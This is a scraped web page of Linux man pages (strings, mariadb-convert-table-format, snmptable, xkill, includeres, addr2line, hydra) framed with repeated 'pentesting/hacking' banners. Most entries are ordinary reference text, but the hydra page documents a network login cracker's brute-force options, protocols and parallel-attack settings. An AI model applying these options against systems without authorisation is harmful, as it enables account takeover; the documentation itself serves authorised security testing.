             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1813 - Linux cli command memoize-clean.py

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command memoize-clean.py and provides detailed information about the command memoize-clean.py, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the memoize-clean.py.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1814 - Linux cli command x86_64-w64-mingw32-strings

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-strings and provides detailed information about the command x86_64-w64-mingw32-strings, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-strings.

NAME 🖥️ x86_64-w64-mingw32-strings 🖥️

print the sequences of printable characters in files

SYNOPSIS

strings [-afovV] [-min-len] [-n min-len] [–bytes=min-len] [-t radix] [–radix=radix] [-e encoding] [–encoding=encoding] [-U method] [–unicode=method] [-] [–all] [–print-file-name] [-T bfdname] [–target=bfdname] [-w] [–include-all-whitespace] [-s] [–output-separator sep_string] [–help] [–version] file

DESCRIPTION

For each file given, GNU strings prints the printable character sequences that are at least 4 characters long (or the number given with the options below) and are followed by an unprintable character.

Depending upon how the strings program was configured it will default to either displaying all the printable sequences that it can find in each file, or only those sequences that are in loadable, initialized data sections. If the file type is unrecognizable, or if strings is reading from stdin then it will always display all of the printable sequences that it can find.

For backwards compatibility any file that occurs after a command-line option of just - will also be scanned in full, regardless of the presence of any -d option.

strings is mainly useful for determining the contents of non-text files.

OPTIONS

-a

–all

Scan the whole file, regardless of what sections it contains or whether those sections are loaded or initialized. Normally this is the default behaviour, but strings can be configured so that the -d is the default instead. The - option is position dependent and forces strings to perform full scans of any file that is mentioned after the - on the command line, even if the -d option has been specified.

-d

–data

Only print strings from initialized, loaded data sections in the file. This may reduce the amount of garbage in the output, but it also exposes the strings program to any security flaws that may be present in the BFD library used to scan and load sections. Strings can be configured so that this option is the default behaviour. In such cases the -a option can be used to avoid using the BFD library and instead just print all of the strings found in the file.

-f

–print-file-name

Print the name of the file before each string.

–help
Print a summary of the program usage on the standard output and exit.

-min-len

-n min-len

–bytes=min-len

Print sequences of displayable characters that are at least min-len characters long. If not specified a default minimum length of 4 is used. The distinction between displayable and non-displayable characters depends upon the setting of the -e and -U options. Sequences are always terminated at control characters such as new-line and carriage-return, but not the tab character.

-o
Like -t o. Some other versions of strings have -o act like -t d instead. Since we can not be compatible with both ways, we simply chose one.

-t radix

–radix=radix

Print the offset within the file before each string. The single character argument specifies the radix of the offset—o for octal, x for hexadecimal, or d for decimal.

-e encoding

–encoding=encoding

Select the character encoding of the strings that are to be found. Possible values for encoding are: s = single-7-bit-byte characters (default), S = single-8-bit-byte characters, b = 16-bit bigendian, l = 16-bit littleendian, B = 32-bit bigendian, L = 32-bit littleendian. Useful for finding wide character strings. (l and b apply to, for example, Unicode UTF-16/UCS-2 encodings).

-U [d|i|l|e|x|h]

–unicode=[default|invalid|locale|escape|hex|highlight]

Controls the display of UTF-8 encoded multibyte characters in strings. The default (–unicode=default) is to give them no special treatment, and instead rely upon the setting of the –encoding option. The other values for this option automatically enable –encoding=S. The –unicode=invalid option treats them as non-graphic characters and hence not part of a valid string. All the remaining options treat them as valid string characters. The –unicode=locale option displays them in the current locale, which may or may not support UTF-8 encoding. The –unicode=hex option displays them as hex byte sequences enclosed between <> characters. The –unicode=escape option displays them as escape sequences (\uxxxx) and the –unicode=highlight option displays them as escape sequences highlighted in red (if supported by the output device). The colouring is intended to draw attention to the presence of unicode sequences where they might not be expected.

-T bfdname

–target=bfdname

Specify an object code format other than your system’s default format.

-v

-V

–version

Print the program version number on the standard output and exit.

-w

–include-all-whitespace

By default tab and space characters are included in the strings that are displayed, but other whitespace characters, such a newlines and carriage returns, are not. The -w option changes this so that all whitespace characters are considered to be part of a string.

-s

–output-separator

By default, output strings are delimited by a new-line. This option allows you to supply any string to be used as the output record separator. Useful with –include-all-whitespace where strings may contain new-lines internally.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), nm (1), objdump (1), ranlib (1), readelf (1) and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1815 - Linux cli command mariadb-convert-table-format

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-convert-table-format and provides detailed information about the command mariadb-convert-table-format, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-convert-table-format.

NAME 🖥️ mariadb-convert-table-format 🖥️

convert-table-format - convert tables to use a given storage engine (mysql_convert_table_format is now a symlink to mariadb-convert-table-format)

SYNOPSIS

mysql_convert_table_format [options] db_name

DESCRIPTION

mysql_convert_table_format converts the tables in a database to use a particular storage engine (MyISAM by default). mysql_convert_table_format is written in Perl and requires that the DBI and DBD::MariaDB Perl modules be installed (see Section 2.15, “Perl Installation Notes”).

Invoke mysql_convert_table_format like this:

shell> mysql_convert_table_format [options]db_name

The db_name argument indicates the database containing the tables to be converted.

mysql_convert_table_format supports the options described in the following list.

·

–help

Display a help message and exit.

·

–force

Continue even if errors occur.

·

**–host=**host_name

Connect to the MariaDB server on the given host.

·

**–password=**password

The password to use when connecting to the server. Note that the password value is not optional for this option, unlike for other MariaDB programs.

Specifying a password on the command line should be considered insecure. You can use an option file to avoid giving the password on the command line.

·

**–port=**port_num

The TCP/IP port number to use for the connection.

·

**–socket=**path

For connections to localhost, the Unix socket file to use.

·

**–type=**engine_name

Specify the storage engine that the tables should be converted to use. The default is MyISAM if this option is not given.

·

**–user=**user_name

The MariaDB user name to use when connecting to the server.

·

–verbose

Verbose mode. Print more information about what the program does.

·

–version

Display version information and exit.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1816 - Linux cli command snmptable

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmptable and provides detailed information about the command snmptable, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmptable.

NAME 🖥️ snmptable 🖥️

retrieve an SNMP table and display it in tabular form

SYNOPSIS

snmptable [COMMON OPTIONS] [-Cb] [-CB] [-Ch] [-CH] [-Ci] [-Cf STRING] [-Cw WIDTH] AGENT TABLE-OID

DESCRIPTION

snmptable is an SNMP application that repeatedly uses the SNMP GETNEXT or GETBULK requests to query for information on a network entity. The parameter TABLE-OID must specify an SNMP table.

AGENT identifies a target SNMP agent, which is instrumented to monitor the given objects. At its simplest, the AGENT specification will consist of a hostname or an IPv4 address. In this situation, the command will attempt communication with the agent, using UDP/IPv4 to port 161 of the given target host. See snmpcmd(1) for a full list of the possible formats for AGENT.

OPTIONS

COMMON OPTIONS
Please see snmpcmd(1) for a list of possible values for COMMON OPTIONS as well as their descriptions.

-Cb
Display only a brief heading. Any common prefix of the table field names will be deleted.

-CB
Do not use GETBULK requests to retrieve data, only GETNEXT.

-Cc* CHARS*
Print table in columns of CHARS characters width.

-Cf* STRING*
The string STRING is used to separate table columns. With this option, each table entry will be printed in compact form, just with the string given to separate the columns (useful if you want to import it into a database). Otherwise it is printed in nicely aligned columns.

-Ch
Display only the column headings.

-CH
Do not display the column headings.

-Ci
This option prepends the index of the entry to all printed lines.

-Cl
Left justify the data in each column.

-Cr* REPEATERS*
For GETBULK requests, REPEATERS specifies the max-repeaters value to use. For GETNEXT requests, REPEATERS specifies the number of entries to retrieve at a time.

-Cw* WIDTH*
Specifies the width of the lines when the table is printed. If the lines will be longer, the table will be printed in sections of at most WIDTH characters. If WIDTH is less than the length of the contents of a single column, then that single column will still be printed.

Note that snmptable REQUIRES an argument specifying the agent to query and exactly one OID argument, as described in the snmpcmd(1) manual page. This OID must be that of a MIB table object.

EXAMPLES

$ snmptable -v 2c -c public localhost at.atTable

SNMP table: at.atTable RFC1213-MIB::atTable

atIfIndex atPhysAddress atNetAddress 1 8:0:20:20:0:ab 130.225.243.33

$ snmptable -v 2c -c public -Cf + localhost at.atTable

SNMP table: at.atTable

atIfIndex+atPhysAddress+atNetAddress 1+8:0:20:20:0:ab+130.225.243.33

$ snmptable localhost -Cl -CB -Ci -OX -Cb -Cc 16 -Cw 64 ifTable

SNMP table: ifTable

Index           Descr           Type            Mtu             
Speed           PhysAddress     AdminStatus     OperStatus      
LastChange      InOctets        InUcastPkts     InNUcastPkts    
InDiscards      InErrors        InUnknownProtos OutOctets       
OutUcastPkts    OutNUcastPkts   OutDiscards     OutErrors       
OutQLen         Specific        

index: [1]
1               lo              softwareLoopbac 16436           
10000000                        up              up              
?               2837283786      3052466         ?               
0               0               ?               2837283786      
3052466         ?               0               0               
0               zeroDotZero     

index: [2]
2               eth0            ethernetCsmacd  1500            
10000000        0:5:5d:d1:f7:cf up              up              
?               2052604234      44252973        ?               
0               0               ?               149778187       
65897282        ?               0               0               
0               zeroDotZero     

BUGS

The test for TABLE-OID actually specifying a table is rather heuristic. Note also that the test requires the defining MIB file to be loaded.

SEE ALSO

snmpcmd(1), variables(5).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1817 - Linux cli command xkill

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xkill and provides detailed information about the command xkill, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xkill.

NAME 🖥️ xkill 🖥️

kill a client by its X resource

SYNOPSIS

xkill [-display displayname] [-id resource] [-button number] [-frame] [-all] [-version]

DESCRIPTION

Xkill is a utility for forcing the X server to close connections to clients. This program is very dangerous, but is useful for aborting programs that have displayed undesired windows on a user’s screen. If no resource identifier is given with -id, xkill will display a special cursor as a prompt for the user to select a window to be killed. If a pointer button is pressed over a non-root window, the server will close its connection to the client that created the window.

OPTIONS

-display displayname
This option specifies the name of the X server to contact.

-id resource
This option specifies the X identifier for the resource whose creator is to be aborted. If no resource is specified, xkill will display a special cursor with which you should select a window to be kill.

-button number
This option specifies the number of pointer button that should be used in selecting a window to kill. If the word “any” is specified, any button on the pointer may be used. By default, the first button in the pointer map (which is usually the leftmost button) is used.

-all
This option indicates that all clients with top-level windows on the screen should be killed. Xkill will ask you to select the root window with each of the currently defined buttons to give you several chances to abort. Use of this option is highly discouraged.

-frame
This option indicates that xkill should ignore the standard conventions for finding top-level client windows (which are typically nested inside a window manager window), and simply believe that you want to kill direct children of the root.

-version
This option makes xkill print its version and exit without killing anything.

CAVEATS

This command does not provide any warranty that the application whose connection to the X server is closed will abort nicely, or even abort at all. All this command does is to close the connection to the X server. Many existing applications do indeed abort when their connection to the X server is closed, but some can choose to continue.

XDEFAULTS

Button
Specifies a specific pointer button number or the word “any” to use when selecting windows.

SEE ALSO

X(7), xwininfo(1), XKillClient(3), XGetPointerMapping(3), KillClient in the X Protocol Specification

AUTHOR

Jim Fulton, MIT X Consortium
Dana Chee, Bellcore

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1818 - Linux cli command includeres

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command includeres and provides detailed information about the command includeres, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the includeres.

NAME 🖥️ includeres 🖥️

filter to include resources in a PostScript document

SYNOPSIS

includeres < document.ps > output.ps

DESCRIPTION

Includeres includes resources (fonts, procsets, patterns, files, etc) in place of %%IncludeResource comments in a PostScript document. The resources are searched for in the current directory and the system default directory under the resource name, and with an appropriate extension. The pipeline

extractres file.ps | includeres >out.ps

will move all resources appearing in a document to the document prologue, removing redundant copies. The output file can then be put through page re-arrangement filters such as psnup or pstops safely.

FILES

/usr/lib/psutils - system resource directory.

AUTHOR

Copyright (C) Angus J. C. Duggan 1991-1995

SEE ALSO

psbook(1), psselect(1), pstops(1), epsffit(1), psnup(1), psresize(1), psmerge(1), fixscribeps(1), getafm(1), fixdlsrps(1), fixfmps(1), fixpsditps(1), fixpspps(1), fixtpps(1), fixwfwps(1), fixwpps(1), fixwwps(1), extractres(1), includeres(1), showchar(1)

TRADEMARKS

PostScript is a trademark of Adobe Systems Incorporated.

BUGS

includeres does not alter the %%DocumentNeededResources comments.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1819 - Linux cli command x86_64-linux-gnu-addr2line

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-addr2line and provides detailed information about the command x86_64-linux-gnu-addr2line, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-addr2line.

NAME 🖥️ x86_64-linux-gnu-addr2line 🖥️

convert addresses or symbol+offset into file names and line numbers

SYNOPSIS

addr2line [-a|–addresses] [-b bfdname|–target=bfdname] [-C|–demangle[=style]] [-r|–no-recurse-limit] [-R|–recurse-limit] [-e filename|–exe=filename] [-f|–functions] [-s|–basename] [-i|–inlines] [-p|–pretty-print] [-j|–section=name] [-H|–help] [-V|–version] [addr addr …]

DESCRIPTION

addr2line translates addresses or symbol+offset into file names and line numbers. Given an address or symbol+offset in an executable or an offset in a section of a relocatable object, it uses the debugging information to figure out which file name and line number are associated with it.

The executable or relocatable object to use is specified with the -e option. The default is the file a.out. The section in the relocatable object to use is specified with the -j option.

addr2line has two modes of operation.

In the first, hexadecimal addresses or symbol+offset are specified on the command line, and addr2line displays the file name and line number for each address.

In the second, addr2line reads hexadecimal addresses or symbol+offset from standard input, and prints the file name and line number for each address on standard output. In this mode, addr2line may be used in a pipe to convert dynamically chosen addresses.

The format of the output is FILENAME:LINENO. By default each input address generates one line of output.

Two options can generate additional lines before each FILENAME:LINENO line (in that order).

If the -a option is used then a line with the input address is displayed.

If the -f option is used, then a line with the FUNCTIONNAME is displayed. This is the name of the function containing the address.

One option can generate additional lines after the FILENAME:LINENO line.

If the -i option is used and the code at the given address is present there because of inlining by the compiler then additional lines are displayed afterwards. One or two extra lines (if the -f option is used) are displayed for each inlined function.

Alternatively if the -p option is used then each input address generates a single, long, output line containing the address, the function name, the file name and the line number. If the -i option has also been used then any inlined functions will be displayed in the same manner, but on separate lines, and prefixed by the text (inlined by).

If the file name or function name can not be determined, addr2line will print two question marks in their place. If the line number can not be determined, addr2line will print 0.

When symbol+offset is used, +offset is optional, except when the symbol is ambigious with a hex number. The resolved symbols can be mangled or unmangled, except unmangled symbols with + are not allowed.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent.

-a

–addresses

Display the address before the function name, file and line number information. The address is printed with a 0x prefix to easily identify it.

-b bfdname

–target=bfdname

Specify that the object-code format for the object files is bfdname.

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. Besides removing any initial underscore prepended by the system, this makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

-e filename

–exe=filename

Specify the name of the executable for which addresses should be translated. The default file is a.out.

-f

–functions

Display function names as well as file and line number information.

-s

–basenames

Display only the base of each file name.

-i

–inlines

If the address belongs to a function that was inlined, the source information for all enclosing scopes back to the first non-inlined function will also be printed. For example, if main inlines callee1 which inlines callee2, and address is from callee2, the source information for callee1 and main will also be printed.

-j

–section

Read offsets relative to the specified section instead of absolute addresses.

-p

–pretty-print

Make the output more human friendly: each location are printed on one line. If option -i is specified, lines for all enclosing scopes are prefixed with (inlined by).

-r

-R

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected. The -r option is a synonym for the –no-recurse-limit option. The -R option is a synonym for the –recurse-limit option. Note this option is only effective if the -C or –demangle option has been enabled.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1820 - Linux cli command hydra

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hydra and provides detailed information about the command hydra, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hydra.

NAME 🖥️ hydra 🖥️

a very fast network logon cracker which supports many different services

SYNOPSIS

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE|-x OPT -y]] | [-C FILE]] [-e nsr] [-u] [-f|-F] [-M FILE] [-o FILE] [-b FORMAT] [-t TASKS] [-T TASKS] [-w TIME] [-W TIME] [-m OPTIONS] [-s PORT] [-c TIME] [-S] [-O] [-4|6] [-I] [-vV] [-d] server service [OPTIONS]

DESCRIPTION

Hydra is a parallelized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast.

This tool gives researchers and security consultants the possibility to show how easy it would be to gain unauthorized access from remote to a system.

Currently this tool supports:
adam6500 afp asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql(v4) mysql5 ncp nntp oracle oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp radmin2 redis rexec rlogin rpcap rsh rtsp s7-300 sapr3 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

For most protocols SSL is supported (e.g. https-get, ftp-ssl, etc.). If not all necessary libraries are found during compile time, your available services will be less. Type “hydra” to see what is available.

Options

target
a target to attack, can be an IPv4 address, IPv6 address or DNS name.

service
a service to attack, see the list of protocols available

OPTIONAL SERVICE PARAMETER
Some modules have optional or mandatory options. type “hydra -U <servicename>” to get help on on the options of a service.

-R
restore a previously aborted session. Requires a hydra.restore file was written. Options are restored, but can be changed by setting them after -R on the command line

-S
connect via SSL

-O
use old SSL v2 and v3

-s PORT
if the service is on a different default port, define it here

-l LOGIN
or -L FILE login with LOGIN name, or load several logins from FILE

-p PASS
or -P FILE try password PASS, or load several passwords from FILE

-x min:max:charset
generate passwords from min to max length. charset can contain 1 for numbers, a for lowcase and A for upcase characters. Any other character is added is put to the list. Example: 1:2:a1%. The generated passwords will be of length 1 to 2 and contain lowcase letters, numbers and/or percent signs and dots.

-y
disable use of symbols in -x bruteforce, see above

-e nsr
additional checks, “n” for null password, “s” try login as pass, “r” try the reverse login as pass

-C FILE
colon separated “login:pass” format, instead of -L/-P options

-u
by default Hydra checks all passwords for one login and then tries the next login. This option loops around the passwords, so the first password is tried on all logins, then the next password.

-f
exit after the first found login/password pair (per host if -M)

-F
exit after the first found login/password pair for any host (for usage with -M)

-M FILE
server list for parallel attacks, one entry per line

-o FILE
write found login/password pairs to FILE instead of stdout

-b FORMAT
specify the format for the -o FILE: text(default), json, jsonv1

-t TASKS
run TASKS number of connects in parallel (default: 16)

-m OPTIONS
module specific options. See hydra -U <module> what options are available.

-w TIME
defines the max wait time in seconds for responses (default: 32)

-W TIME
defines a wait time between each connection a task performs. This usually only makes sense if a low task number is used, .e.g -t 1

-c TIME
the wait time in seconds per login attempt over all threads (-t 1 is recommended) This usually only makes sense if a low task number is used, .e.g -t 1

-4 / -6
prefer IPv4 (default) or IPv6 addresses

-v / -V
verbose mode / show login+pass combination for each attempt

-d
debug mode

-I
ignore an existing restore file (don’t wait 10 seconds)

-h, –help
Show summary of options.

SEE ALSO

xhydra(1), pw-inspector(1).
The programs are documented fully by van Hauser <[email protected]>

AUTHOR

hydra was written by van Hauser / THC <[email protected]> Find new versions or report bugs at https://github.com/vanhauser-thc/thc-hydra

This manual page was written by Daniel Echeverry <[email protected]>, for the Debian project (and may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
